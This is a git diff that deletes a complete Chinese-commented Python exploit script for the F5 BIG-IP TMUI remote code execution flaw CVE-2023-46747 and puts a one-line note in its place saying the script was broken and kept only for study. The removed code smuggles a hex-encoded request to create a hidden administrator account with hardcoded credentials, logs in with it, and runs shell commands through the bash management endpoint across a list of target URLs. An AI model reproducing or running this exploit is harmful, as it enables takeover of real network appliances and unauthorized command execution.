|
1 |
| -# 作者: VulnExpo |
2 |
| -# 日期: 2023-10-31 |
3 |
| - |
4 |
| -import requests |
5 |
| -import argparse |
6 |
| -import binascii |
7 |
| -import json |
8 |
| -import time |
9 |
| - |
10 |
| -requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':!DH' |
11 |
| -requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) |
12 |
| - |
13 |
| -def send_request(url, endpoint, data, headers=None): |
14 |
| - try: |
15 |
| - response = requests.post(f"{url}/{endpoint}", data=data, headers=headers, verify=False, timeout=10) |
16 |
| - if response.status_code == 200: |
17 |
| - return response |
18 |
| - else: |
19 |
| - print(f"请求URL: {url}/{endpoint}\n请求失败,状态码: {response.status_code}") |
20 |
| - return None |
21 |
| - except requests.exceptions.RequestException as e: |
22 |
| - print(f"请求错误: {e}") |
23 |
| - return None |
24 |
| - |
25 |
| -def check_for_vulnerability(url, username, password, success_file=None): |
26 |
| - login_request_hex = "0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d0000093132372e302e302e310000096c6f63616c686f73740000096c6f63616c686f7374000050000003000b546d75692d44756262756600000b424242424242424242424200000a52454d4f5445524f4c450000013000a00b00096c6f63616c686f73740003000561646d696e000501715f74696d656e6f773d61265f74696d656e6f775f6265666f72653d2668616e646c65723d253266746d756925326673797374656d25326675736572253266637265617465262626666f726d5f706167653d253266746d756925326673797374656d253266757365722532666372656174652e6a737025336626666f726d5f706167655f6265666f72653d26686964654f626a4c6973743d265f62756676616c75653d65494c3452556e537758596f5055494f47634f4678326f30305863253364265f62756676616c75655f6265666f72653d2673797374656d757365722d68696464656e3d5b5b2241646d696e6973747261746f72222c225b416c6c5d225d5d2673797374656d757365722d68696464656e5f6265666f72653d266e616d653d684e573153266e616d655f6265666f72653d267061737377643d6b616c643141396f316e49486179267061737377645f6265666f72653d2666696e69736865643d782666696e69736865645f6265666f72653d00ff00" |
27 |
| - login_data = b"204\r\n" + binascii.unhexlify(login_request_hex) + b"\r\n0\r\n\r\n" |
28 |
| - login_headers = { |
29 |
| - "Content-Type": "application/x-www-form-urlencoded", |
30 |
| - } |
31 |
| - |
32 |
| - response_login = send_request(url, "tmui/login.jsp", login_data, login_headers) |
33 |
| - if response_login is None: |
34 |
| - return |
35 |
| - |
36 |
| - authn_data = { |
37 |
| - "username": username, |
38 |
| - "password": password, |
39 |
| - } |
40 |
| - authn_headers = { |
41 |
| - "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", |
42 |
| - "Connection": "close", |
43 |
| - "Content-Length": "51", |
44 |
| - "Content-Type": "application/json", |
45 |
| - "Accept-Encoding": "gzip", |
46 |
| - } |
47 |
| - |
48 |
| - response_authn = send_request(url, "mgmt/shared/authn/login", json.dumps(authn_data), authn_headers) |
49 |
| - if response_authn is None: |
50 |
| - return |
51 |
| - |
52 |
| - try: |
53 |
| - response_json = response_authn.json() |
54 |
| - token = response_json.get("token", {}).get("token") |
55 |
| - if token: |
56 |
| - bash_data = { |
57 |
| - "command": "run", |
58 |
| - "utilCmdArgs": "-c id", |
59 |
| - } |
60 |
| - bash_headers = { |
61 |
| - "User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36", |
62 |
| - "Connection": "close", |
63 |
| - "Content-Length": "41", |
64 |
| - "Content-Type": "application/json", |
65 |
| - "X-F5-Auth-Token": token, |
66 |
| - "Accept-Encoding": "gzip", |
67 |
| - } |
68 |
| - |
69 |
| - response_bash = None |
70 |
| - for retry in range(5): |
71 |
| - response_bash = send_request(url, "mgmt/tm/util/bash", json.dumps(bash_data), bash_headers) |
72 |
| - if response_bash is not None and response_bash.status_code == 200: |
73 |
| - break |
74 |
| - print(f"第 {retry + 1} 次尝试:请求失败,状态码: {response_bash.status_code}" if response_bash is not None else f"第 {retry + 1} 次尝试:请求失败,未收到响应") |
75 |
| - time.sleep(1) |
76 |
| - |
77 |
| - if response_bash is not None: |
78 |
| - try: |
79 |
| - response_json = response_bash.json() |
80 |
| - command_result = response_json.get("commandResult", "No commandResult found") |
81 |
| - if command_result is not None: |
82 |
| - with open(success_file, 'a') as s_file: |
83 |
| - s_file.write(f"++++++++++++++++++\n") |
84 |
| - s_file.write(f"目标URL: {url}\n") |
85 |
| - s_file.write(f"Command Result: {command_result}\n\n") |
86 |
| - print(f"目标URL: {url}") |
87 |
| - print(f"Command Result: {command_result}") |
88 |
| - except json.JSONDecodeError as e: |
89 |
| - print(f"JSON解析错误: {e}") |
90 |
| - else: |
91 |
| - print("未能获取认证令牌。") |
92 |
| - except json.JSONDecodeError as e: |
93 |
| - print(f"JSON解析错误: {e}") |
94 |
| - |
95 |
| -def scan_targets(targets, username, password, success_file=None): |
96 |
| - for target in targets: |
97 |
| - target = target.strip() |
98 |
| - check_for_vulnerability(target, username, password, success_file) |
99 |
| - |
100 |
| -if __name__ == '__main__': |
101 |
| - parser = argparse.ArgumentParser(description="F5 BIG-IP TMUI 远程代码执行漏洞CVE-2023-46747") |
102 |
| - parser.add_argument("-u", "--url", help="目标URL") |
103 |
| - parser.add_argument("-f", "--file", default="url.txt", help="目标URL列表,默认为url.txt") |
104 |
| - args = parser.parse_args() |
105 |
| - |
106 |
| - if not args.url and not args.file: |
107 |
| - print("请使用 -u 指定要扫描的目标URL或使用默认文件 url.txt。") |
108 |
| - exit(1) |
109 |
| - |
110 |
| - if args.url: |
111 |
| - urls = [args.url] |
112 |
| - elif args.file: |
113 |
| - with open(args.file, 'r') as file: |
114 |
| - urls = file.readlines() |
115 |
| - |
116 |
| - success_file = 'success_targets.txt' |
117 |
| - username = "hNW1S" |
118 |
| - password = "kald1A9o1nIHay" |
119 |
| - |
120 |
| - for url in urls: |
121 |
| - url = url.strip() |
122 |
| - if not url.startswith("http://") and not url.startswith("https://"): |
123 |
| - url = "http://" + url |
124 |
| - scan_targets([url], username, password, success_file) |
125 |
| - |
126 |
| - print("扫描完成,成功的目标已保存到 success_targets.txt 文件中。") |
| 1 | +(抱歉,脚本存在问题,无法正常使用,所以先删了!仅作学习) |
0 commit comments